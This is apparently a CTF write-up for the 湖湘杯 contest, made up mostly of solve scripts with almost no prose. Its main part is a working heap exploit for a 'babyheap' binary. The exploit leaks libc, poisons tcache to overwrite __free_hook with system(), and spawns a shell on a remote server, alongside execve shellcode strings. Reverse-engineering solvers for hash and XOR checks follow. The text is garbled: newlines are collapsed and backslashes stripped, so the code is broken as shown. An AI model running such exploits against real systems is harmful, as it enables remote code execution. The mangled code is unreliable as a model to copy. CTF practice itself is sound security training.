湖湘杯-WriteUp

# _*_ coding:utf-8 _*_from pwn_debug import *



pdbg=pwn_debug("babyheap")pdbg.context.terminal=['tmux', 'splitw', '-h']context.log_level='debug'pdbg.local("./libc.so.6")#32/64pdbg.debug("2.27")pdbg.remote('47.111.104.169',56303)

switch=3if switch==1:    p=pdbg.run("local")elif switch==2:    p=pdbg.run("debug")elif switch==3:    p=pdbg.run("remote")#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))        #in case that data is an intsa      = lambda delim,data         :p.sendafter(str(delim), str(data)) sl      = lambda data               :p.sendline(str(data)) sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :p.recv(numb)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)it      = lambda                    :p.interactive()uu32    = lambda data   :u32(data.ljust(4, ''))uu64    = lambda data   :u64(data.ljust(8, ''))bp      = lambda bkp                :pdbg.bp(bkp)

def bpp():  bp([])#  input()



def dbg(arg):  bp([arg])   #input()def lg(s,addr):    print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))

elf=pdbg.elf# libc=pdbg.libcsh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------libc = ELF("./libc.so.6")

def cho(idx):    sla(">>",str(idx))

def add():    cho(1)    # sla("input note:",con)

def delete(idx):    cho(4)    sla("index?",idx)



def show(idx):    cho(2)    sla("index?",str(idx))

def edit(idx,sz,con):    cho(3)    sla("index?",str(idx))    sla("Size:",str(sz))    sa("Content:",con)

def exp():    # debug([0xB0C])    #-----------------------------------------leak libc & heap    show(-14)       ru('n')    data = uu64(r(6))    lg('data',data)    addr = data - libc.sym['_IO_2_1_stdout_']    lg('addr',addr)    fh = addr+libc.sym['__free_hook']    sys = addr+libc.sym['system']    lg('sys',sys)

    #-----------------------------------------shell#下面的操作类似于lctf2018-pwn-easy_heap

    #------------------------step1        for i in range(7):        add()    for i in range(3):        add()# 7 8 9    for i in range(6):        delete(i)    delete(9)

    for i in range(6,9):        delete(i)    #------------------------step2     for i in range(7):        add()    add()#7    add()#8    add()#9

    for i in range(6):        delete(i)    delete(8)#tcache    delete(7)    add()    # dbg()    # raw_input()    edit(0,0xf8,'a')    delete(6)    delete(9)    #------------------------step3    for i in range(7):        add()    add()    add()    add()    delete(9)    edit(4,0x20,'/bin/shx00')    edit(0,0x20,p64(fh))

    add()    add()    edit(11,8,p64(sys))    delete(4)



    # dbg()

    it()if __name__ == '__main__':    exp()

 a = [     0x0000b2b0, 0x00006e72, 0x00006061, 0x0000565d,     0x0000942d, 0x0000ac79, 0x0000391c, 0x0000643d,     0x0000ec3f, 0x0000bd10, 0x0000c43e, 0x00007a65,     0x0000184b, 0x0000ef5b, 0x00005a06, 0x0000a8c0,     0x0000f64b, 0x0000c774, 0x000002ff, 0x00008e57,     0x0000aed9, 0x0000d8a9, 0x0000230c, 0x000074e8,     0x0000c2a6, 0x000088b3, 0x0000af2a, 0x00009ea7,     0x0000ce8a, 0x00005924, 0x0000d276, 0x000056d4,     0x000077d7, 0x0000990e, 0x0000b585, 0x00004bcd,     0x00005277, 0x00001afc, 0x00008c8a, 0x0000cdb5,     0x00006e26, 0x00004c22, 0x0000673f, 0x0000daff,     0x00000fac, 0x000086c7, 0x0000e048, 0x0000c483,     0x000085d3, 0x00002204, 0x0000c2ee, 0x0000e07f,     0x00000caf, 0x0000bf76, 0x000063fe, 0x0000bffb,     0x00004b09, 0x0000e5b3, 0x00008bda, 0x000096df,     0x0000866d, 0x00001719, 0x00006bcf, 0x0000adcc,     0x00000f2b, 0x000051ce, 0x00001549, 0x000020c1,     0x00003a8d, 0x000005f5, 0x00005403, 0x00001125,     0x00009161, 0x0000e2a5, 0x00005196, 0x0000d8d2,     0x0000d644, 0x0000ee86, 0x00003896, 0x00002e71,     0x0000a6f1, 0x0000dfcf, 0x00003ece, 0x00007d49,     0x0000c24d, 0x0000237e, 0x00009352, 0x00007a97,     0x00007bfa, 0x0000cbaa, 0x000010dc, 0x00003bd9,     0x00007d7b, 0x00003b88, 0x0000b0d0, 0x0000e8bc     ]  b = [     0x08a73233, 0x116db0f6, 0x0e654937, 0x03c374a7,     0x16bc8ed9, 0x0846b755, 0x08949f47, 0x04a13c27,     0x0976cf0a, 0x07461189, 0x1e1a5c12, 0x11e64d96,     0x03cf09b3, 0x093cb610, 0x0d41ea64, 0x07648050,     0x092039bf, 0x08e7f1f7, 0x004d871f, 0x1680f823,     0x06f3c3eb, 0x2205134d, 0x015c6a7c, 0x11c67ed0,     0x0817b32e, 0x06bd9b92, 0x08806b0c, 0x06aaa515,     0x205b9f76, 0x0de963e9, 0x2194e8e2, 0x047593bc     ]  for i in range(32):     for j in range(32,127):         temp = j*j*a[(i<<2)//4] + a[((i+32)<<2)//4]*j + a[((i+64) << 2)//4]         if temp == b[i]:             print(chr(j),end='')             break

# uncompyle6 version 3.7.4# Python bytecode 3.7 (3394)# Decompiled from: Python 2.7.15+ (default, Aug 31 2018, 11:56:52) # [GCC 8.2.0]# Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly.# Embedded file name: ReMe.py# Compiled at: 1995-09-28 00:18:56# Size of source mod 2**32: 272 bytesimport sys, hashlibcheck = [ 'e5438e78ec1de10a2693f9cffb930d23', '08e8e8855af8ea652df54845d21b9d67', 'a905095f0d801abd5865d649a646b397', 'bac8510b0902185146c838cdf8ead8e0', 'f26f009a6dc171e0ca7a4a770fecd326', 'cffd0b9d37e7187483dc8dd19f4a8fa8', '4cb467175ab6763a9867b9ed694a2780', '8e50684ac9ef90dfdc6b2e75f2e23741', 'cffd0b9d37e7187483dc8dd19f4a8fa8', 'fd311e9877c3db59027597352999e91f', '49733de19d912d4ad559736b1ae418a7', '7fb523b42413495cc4e610456d1f1c84', '8e50684ac9ef90dfdc6b2e75f2e23741', 'acb465dc618e6754de2193bf0410aafe', 'bc52c927138231e29e0b05419e741902', '515b7eceeb8f22b53575afec4123e878', '451660d67c64da6de6fadc66079e1d8a', '8e50684ac9ef90dfdc6b2e75f2e23741', 'fe86104ce1853cb140b7ec0412d93837', 'acb465dc618e6754de2193bf0410aafe', 'c2bab7ea31577b955e2c2cac680fb2f4', '8e50684ac9ef90dfdc6b2e75f2e23741', 'f077b3a47c09b44d7077877a5aff3699', '620741f57e7fafe43216d6aa51666f1d', '9e3b206e50925792c3234036de6a25ab', '49733de19d912d4ad559736b1ae418a7', '874992ac91866ce1430687aa9f7121fc']def func(num):    result = []    while num != 1:        num = num * 3 + 1 if num % 2 else num // 2        result.append(num)    return resultif __name__ == '__main__':    print('Your input is not the FLAG!')    inp = input()    if len(inp) != 27:        print('length error!')        sys.exit(-1)    for i, ch in enumerate(inp):        ret_list = func(ord(ch))        s = ''        for idx in range(len(ret_list)):            s += str(ret_list[idx])            s += str(ret_list[(len(ret_list) - idx - 1)])        md5 = hashlib.md5()        md5.update(s.encode('utf-8'))        if md5.hexdigest() != check[i]:            sys.exit(i)    md5 = hashlib.md5()    md5.update(inp.encode('utf-8'))    print('You win!')    print('flag{' + md5.hexdigest() + '}')# okay decompiling 2.pyc

# uncompyle6 version 3.7.4# Python bytecode 3.7 (3394)# Decompiled from: Python 2.7.15+ (default, Aug 31 2018, 11:56:52) # [GCC 8.2.0]# Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly.# Embedded file name: ReMe.py# Compiled at: 1995-09-28 00:18:56# Size of source mod 2**32: 272 bytesimport sys, hashlibcheck = [ 'e5438e78ec1de10a2693f9cffb930d23', '08e8e8855af8ea652df54845d21b9d67', 'a905095f0d801abd5865d649a646b397', 'bac8510b0902185146c838cdf8ead8e0', 'f26f009a6dc171e0ca7a4a770fecd326', 'cffd0b9d37e7187483dc8dd19f4a8fa8', '4cb467175ab6763a9867b9ed694a2780', '8e50684ac9ef90dfdc6b2e75f2e23741', 'cffd0b9d37e7187483dc8dd19f4a8fa8', 'fd311e9877c3db59027597352999e91f', '49733de19d912d4ad559736b1ae418a7', '7fb523b42413495cc4e610456d1f1c84', '8e50684ac9ef90dfdc6b2e75f2e23741', 'acb465dc618e6754de2193bf0410aafe', 'bc52c927138231e29e0b05419e741902', '515b7eceeb8f22b53575afec4123e878', '451660d67c64da6de6fadc66079e1d8a', '8e50684ac9ef90dfdc6b2e75f2e23741', 'fe86104ce1853cb140b7ec0412d93837', 'acb465dc618e6754de2193bf0410aafe', 'c2bab7ea31577b955e2c2cac680fb2f4', '8e50684ac9ef90dfdc6b2e75f2e23741', 'f077b3a47c09b44d7077877a5aff3699', '620741f57e7fafe43216d6aa51666f1d', '9e3b206e50925792c3234036de6a25ab', '49733de19d912d4ad559736b1ae418a7', '874992ac91866ce1430687aa9f7121fc']def func(num):    result = []    while num != 1:        num = num * 3 + 1 if num % 2 else num // 2        result.append(num)    return resultif __name__ == '__main__':    flag = ''    '''    print('Your input is not the FLAG!')    inp = input()    if len(inp) != 27:        print('length error!')        sys.exit(-1)        for i, ch in enumerate(inp):    '''    for i in range(len(check)):        for ch in range(32,128):            ret_list = func(ch)            s = ''            for idx in range(len(ret_list)):                s += str(ret_list[idx])                s += str(ret_list[(len(ret_list) - idx - 1)])            md5 = hashlib.md5()            md5.update(s.encode('utf-8'))            if md5.hexdigest() == check[i]:                flag += chr(ch)    print(flag)    '''    md5 = hashlib.md5()    md5.update(inp.encode('utf-8'))    print('You win!')    print('flag{' + md5.hexdigest() + '}')    '''# okay decompiling 2.pyc

>>> a = '7d21e<e3<:3;9;ji t r#w"$*{*+*$|,'>>> flag = ''>>> for i in range(len(a)):...     flag += chr(ord(a[i])^i)...>>> flag'7e02a9c4439056df0e2a7b432b0069b3'